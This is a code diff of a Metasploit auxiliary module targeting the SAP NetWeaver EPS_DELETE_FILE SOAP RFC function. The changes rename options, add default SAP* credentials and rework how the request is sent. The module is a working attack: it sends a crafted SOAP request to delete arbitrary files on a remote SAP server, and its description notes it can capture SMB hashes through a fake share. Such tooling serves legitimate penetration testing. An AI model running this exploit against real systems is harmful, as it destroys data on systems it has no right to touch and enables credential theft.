@@ -31,24 +31,31 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'EPS_DELETE_FILE ( File deletion + SMB Relay) ' ,
34
+ 'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion ' ,
35
35
'Description' => %q{
36
- A vulnerability in the SAP EPS_DELETE_FILE RFC function allows an attacker to delete files remotely
37
- and/or steal hashes using an SMB relay attack.
38
- SAP Note 1554030 / DSECRG-11-031.
39
- } ,
40
- 'References' => [ [ 'URL' , 'http://dsecrg.com/pages/vul/show.php?id=331' ] ] ,
41
- 'Author' => [ 'nmonkee' ] ,
36
+ This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
37
+ RFC Service, to delete arbitrary files on the remote file system. The module can
38
+ also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
39
+ } ,
40
+ 'References' => [
41
+ [ 'URL' , 'http://dsecrg.com/pages/vul/show.php?id=331' ] ,
42
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1554030' ]
43
+ ] ,
44
+ 'Author' =>
45
+ [
46
+ 'Alexey Sintsov' , # Vulnerability discovery
47
+ 'nmonkee' # Metasploit module
48
+ ] ,
42
49
'License' => MSF_LICENSE
43
50
)
44
51
45
52
register_options ( [
46
- OptString . new ( 'CLIENT' , [ true , 'SAP client ' , nil ] ) ,
47
- OptString . new ( 'USER ' , [ true , 'Username' , nil ] ) ,
48
- OptString . new ( 'PASS ' , [ true , 'Password' , nil ] ) ,
49
- OptString . new ( 'PATH' , [ true , 'File path (e.g. \\\\xx.xx.xx.xx\\share)' , nil ] ) ,
50
- OptString . new ( 'FILENAME' , [ true , 'Filename (e.g. filename.ext )' , nil ] )
51
- ] , self . class )
53
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client ' , '001' ] ) ,
54
+ OptString . new ( 'USERNAME ' , [ true , 'Username' , 'SAP*' ] ) ,
55
+ OptString . new ( 'PASSWORD ' , [ true , 'Password' , '06071992' ] ) ,
56
+ OptString . new ( 'DIRNAME' , [ true , 'Directory Path which contains the file to delete' , '/tmp' ] ) ,
57
+ OptString . new ( 'FILENAME' , [ true , 'Filename to delete' , 'msf.txt' ] )
58
+ ] , self . class )
52
59
end
53
60
54
61
def run_host ( ip )
@@ -59,31 +66,38 @@ def run_host(ip)
59
66
data << '<SOAP-ENV:Header/>'
60
67
data << '<SOAP-ENV:Body>'
61
68
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
62
- data << '<DIR_NAME>' + datastore [ 'PATH ' ] + '</DIR_NAME>'
69
+ data << '<DIR_NAME>' + datastore [ 'DIRNAME ' ] + '</DIR_NAME>'
63
70
data << '<FILE_NAME>' + datastore [ 'FILENAME' ] + '</FILE_NAME>'
64
71
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
65
72
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
66
73
data << '</EPS_DELETE_FILE>'
67
74
data << '</SOAP-ENV:Body>'
68
75
data << '</SOAP-ENV:Envelope>'
69
- user_pass = Rex :: Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
76
+
70
77
begin
71
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH ' ] } \\ #{ datastore [ 'FILENAME ' ] } ")
72
- res = send_request_raw ( {
73
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN ',
78
+ vprint_status ( " #{ rhost } :#{ rport } - Sending request to delete #{ datastore [ 'FILENAME ' ] } at #{ datastore [ 'DIRNAME ' ] } ")
79
+ res = send_request_cgi ( {
80
+ 'uri' => '/sap/bc/soap/rfc' ,
74
81
'method' => 'POST' ,
75
82
'data' => data ,
76
- 'headers' => {
77
- 'Content-Length' => data . size . to_s ,
83
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
84
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
85
+ 'ctype' => 'text/xml; charset=UTF-8' ,
86
+ 'headers' => {
78
87
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
79
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
80
- 'Authorization' => 'Basic ' + user_pass ,
81
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
82
- } , 45 )
83
- if res
84
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
85
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
86
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
88
+ } ,
89
+ 'vars_get' => {
90
+ 'sap-client' => datastore [ 'CLIENT' ] ,
91
+ 'sap-language' => 'EN'
92
+ }
93
+ } )
94
+
95
+ if res and res . code == 200 and res . body =~ /EPS_DELETE_FILE.Response/ and res . body =~ /#{ datastore [ 'DIRNAME' ] } / and res . body =~ /#{ datastore [ 'FILENAME' ] } /
96
+ print_good ( "#{ rhost } :#{ rport } - File #{ datastore [ 'FILENAME' ] } at #{ datastore [ 'DIRNAME' ] } successfully deleted" )
97
+ elsif res
98
+ vprint_error ( "#{ rhost } :#{ rport } - Response code: " + res . code . to_s )
99
+ vprint_error ( "#{ rhost } :#{ rport } - Response message: " + res . message . to_s )
100
+ vprint_error ( "#{ rhost } :#{ rport } - Response body: " + res . body . to_s ) if res . body
87
101
end
88
102
rescue ::Rex ::ConnectionError
89
103
print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
0 commit comments